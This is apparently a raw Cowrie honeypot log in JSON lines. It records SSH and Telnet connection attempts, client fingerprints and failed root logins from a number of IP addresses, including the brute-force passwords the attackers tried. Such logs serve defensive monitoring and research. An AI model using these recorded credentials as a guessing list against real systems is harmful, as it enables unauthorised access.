{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:1d:2f:b3:e7:48:ab:64:9a:90:f4:96:85:ec:73:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVaH8wVAkt81Kh2O5+If99gTMvVQ+NxS918Btc8OOXSNZPP6xuCfH1gCT74g1zLNiJw08B0e/LiXqUbmlFQICuaRHTwjV9kZ29Cq3AFaKHJkUHaua10a//nWkof2rlWJFKuTKyayAssFToOG8ie4hkq5pbs0njDElTobFKjF9F0wZy3kvjBt6iFlZgsAHBa/xZELDCxOReI/fxUhlj4IGxYqEiqH9AoizPqo8FqXJzAwv0gUqkRwysj/e1MLi7+FrGy7aSLmcKZOSYJYe1F8kW4xZIvJpSoybOBiCfANXI2CSBjAi2GdLyx2UzPLVt/rXQxHlQbbc2KkLAl4iSultkdGTxaRbw1lkQ1hdJOiTEBEvLKxs5T09rPblWUXmFfa0SclrYkHAAfoM0GCjJp15AU5/CewWkrS3oJWvBUKfmadSau795qUpGvGZfGLR/6qZd4M1p6UBZuaWAlAvFXm00E8UVnOHwoOrQlX2su2C50KxudGvwgELd+oIrQQ2zpJ0MnRtu+TYmLAE5NcD355Y/W1FZO4qzXNv8DkSeXgpk/GfmbfqRwVl1HDT/iuzYaTZaPeiHGqa6jEiEHWpQYQZWoNTRSVJgoqPzQL3ipZJA/VjibSNH+JyvCqqKmN7jkMdoBtAUq3DqIu62pn5ituDBZ2mMqUPVctP77VcOARvgCQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:1d:2f:b3:e7:48:ab:64:9a:90:f4:96:85:ec:73:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:09.517142Z","src_ip":"65.109.228.161","session":"a0ae53d5900c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:1d:2f:b3:e7:48:ab:64:9a:90:f4:96:85:ec:73:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVaH8wVAkt81Kh2O5+If99gTMvVQ+NxS918Btc8OOXSNZPP6xuCfH1gCT74g1zLNiJw08B0e/LiXqUbmlFQICuaRHTwjV9kZ29Cq3AFaKHJkUHaua10a//nWkof2rlWJFKuTKyayAssFToOG8ie4hkq5pbs0njDElTobFKjF9F0wZy3kvjBt6iFlZgsAHBa/xZELDCxOReI/fxUhlj4IGxYqEiqH9AoizPqo8FqXJzAwv0gUqkRwysj/e1MLi7+FrGy7aSLmcKZOSYJYe1F8kW4xZIvJpSoybOBiCfANXI2CSBjAi2GdLyx2UzPLVt/rXQxHlQbbc2KkLAl4iSultkdGTxaRbw1lkQ1hdJOiTEBEvLKxs5T09rPblWUXmFfa0SclrYkHAAfoM0GCjJp15AU5/CewWkrS3oJWvBUKfmadSau795qUpGvGZfGLR/6qZd4M1p6UBZuaWAlAvFXm00E8UVnOHwoOrQlX2su2C50KxudGvwgELd+oIrQQ2zpJ0MnRtu+TYmLAE5NcD355Y/W1FZO4qzXNv8DkSeXgpk/GfmbfqRwVl1HDT/iuzYaTZaPeiHGqa6jEiEHWpQYQZWoNTRSVJgoqPzQL3ipZJA/VjibSNH+JyvCqqKmN7jkMdoBtAUq3DqIu62pn5ituDBZ2mMqUPVctP77VcOARvgCQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:09.520944Z","src_ip":"65.109.228.161","session":"a0ae53d5900c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:09.633976Z","src_ip":"65.109.228.161","session":"a0ae53d5900c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.753865718841553,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:10.830589Z","src_ip":"177.44.61.233","session":"a28fff426b19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":58122,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fed67377fff","protocol":"ssh","message":"New connection: 103.172.78.219:58122 (159.203.135.109:22) [session: 0fed67377fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:11.946874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:11.953363Z","src_ip":"103.172.78.219","session":"0fed67377fff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:12.216938Z","src_ip":"103.172.78.219","session":"0fed67377fff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima12345","message":"login attempt [root/dima12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:13.011901Z","src_ip":"103.172.78.219","session":"0fed67377fff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:14.278863Z","src_ip":"103.172.78.219","session":"0fed67377fff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.184.253","src_port":44712,"dst_ip":"10.17.0.5","dst_port":22,"session":"7799fc66224d","protocol":"ssh","message":"New connection: 43.134.184.253:44712 (10.17.0.5:22) [session: 7799fc66224d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:18.522753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:18.531782Z","src_ip":"43.134.184.253","session":"7799fc66224d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:18.763156Z","src_ip":"43.134.184.253","session":"7799fc66224d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deploy","message":"login attempt [root/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:19.719568Z","src_ip":"43.134.184.253","session":"7799fc66224d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:20.953846Z","src_ip":"43.134.184.253","session":"7799fc66224d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.205.247.46","src_port":36857,"dst_ip":"159.203.135.109","dst_port":23,"session":"b24b08c57775","protocol":"telnet","message":"New connection: 201.205.247.46:36857 (159.203.135.109:23) [session: b24b08c57775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:26.014338Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52296,"dst_ip":"10.17.0.5","dst_port":23,"session":"b231de31c9c4","protocol":"telnet","message":"New connection: 152.42.224.71:52296 (10.17.0.5:23) [session: b231de31c9c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:30.450809Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52310,"dst_ip":"10.17.0.5","dst_port":23,"session":"a01f54335f69","protocol":"telnet","message":"New connection: 152.42.224.71:52310 (10.17.0.5:23) [session: a01f54335f69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:34.267214Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":45792,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1bb4b5aea2a","protocol":"ssh","message":"New connection: 147.45.199.80:45792 (10.17.0.5:22) [session: b1bb4b5aea2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:41.236063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:41.241684Z","src_ip":"147.45.199.80","session":"b1bb4b5aea2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:41.345998Z","src_ip":"147.45.199.80","session":"b1bb4b5aea2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456987","message":"login attempt [root/456987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:41.646302Z","src_ip":"147.45.199.80","session":"b1bb4b5aea2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:42.748500Z","src_ip":"147.45.199.80","session":"b1bb4b5aea2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56724,"dst_ip":"10.17.0.5","dst_port":23,"session":"49efda1a5b9b","protocol":"telnet","message":"New connection: 152.42.224.71:56724 (10.17.0.5:23) [session: 49efda1a5b9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:14:49.241175Z"}
{"eventid":"cowrie.session.closed","duration":34.183581590652466,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:00.197794Z","src_ip":"201.205.247.46","session":"b24b08c57775","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.88.240","src_port":50530,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f9146e04ee1","protocol":"ssh","message":"New connection: 43.173.88.240:50530 (10.17.0.5:22) [session: 5f9146e04ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:07.028999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:07.039426Z","src_ip":"43.173.88.240","session":"5f9146e04ee1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:07.113808Z","src_ip":"43.173.88.240","session":"5f9146e04ee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.046547651290894,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:07.313634Z","src_ip":"152.42.224.71","session":"a01f54335f69","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admintelecom","message":"login attempt [root/admintelecom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:07.424984Z","src_ip":"43.173.88.240","session":"5f9146e04ee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:08.497961Z","src_ip":"43.173.88.240","session":"5f9146e04ee1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55828,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c5067e7717b","protocol":"telnet","message":"New connection: 152.42.224.71:55828 (10.17.0.5:23) [session: 2c5067e7717b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:09.989819Z"}
{"eventid":"cowrie.session.closed","duration":41.95634984970093,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:12.407054Z","src_ip":"152.42.224.71","session":"b231de31c9c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":40022,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f4f1acec894","protocol":"ssh","message":"New connection: 103.195.236.96:40022 (10.17.0.5:22) [session: 7f4f1acec894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:18.663542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:18.671288Z","src_ip":"103.195.236.96","session":"7f4f1acec894","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:18.936219Z","src_ip":"103.195.236.96","session":"7f4f1acec894","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vika","message":"login attempt [root/vika] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:19.676284Z","src_ip":"103.195.236.96","session":"7f4f1acec894","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:20.932815Z","src_ip":"103.195.236.96","session":"7f4f1acec894","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":50522,"dst_ip":"159.203.135.109","dst_port":22,"session":"5797a0b00246","protocol":"ssh","message":"New connection: 77.94.47.83:50522 (159.203.135.109:22) [session: 5797a0b00246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:23.885266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:23.890536Z","src_ip":"77.94.47.83","session":"5797a0b00246","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:24.015946Z","src_ip":"77.94.47.83","session":"5797a0b00246","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789zx","message":"login attempt [root/123456789zx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:24.397964Z","src_ip":"77.94.47.83","session":"5797a0b00246","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:25.527268Z","src_ip":"77.94.47.83","session":"5797a0b00246","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.16655421257019,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:28.156220Z","src_ip":"152.42.224.71","session":"2c5067e7717b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":52810,"dst_ip":"10.17.0.5","dst_port":22,"session":"95372cb1e3b3","protocol":"ssh","message":"New connection: 103.122.221.179:52810 (10.17.0.5:22) [session: 95372cb1e3b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:29.003423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:29.009736Z","src_ip":"103.122.221.179","session":"95372cb1e3b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":60962,"dst_ip":"159.203.135.109","dst_port":23,"session":"850c38574cc4","protocol":"telnet","message":"New connection: 176.65.139.121:60962 (159.203.135.109:23) [session: 850c38574cc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:15:29.095936Z"}
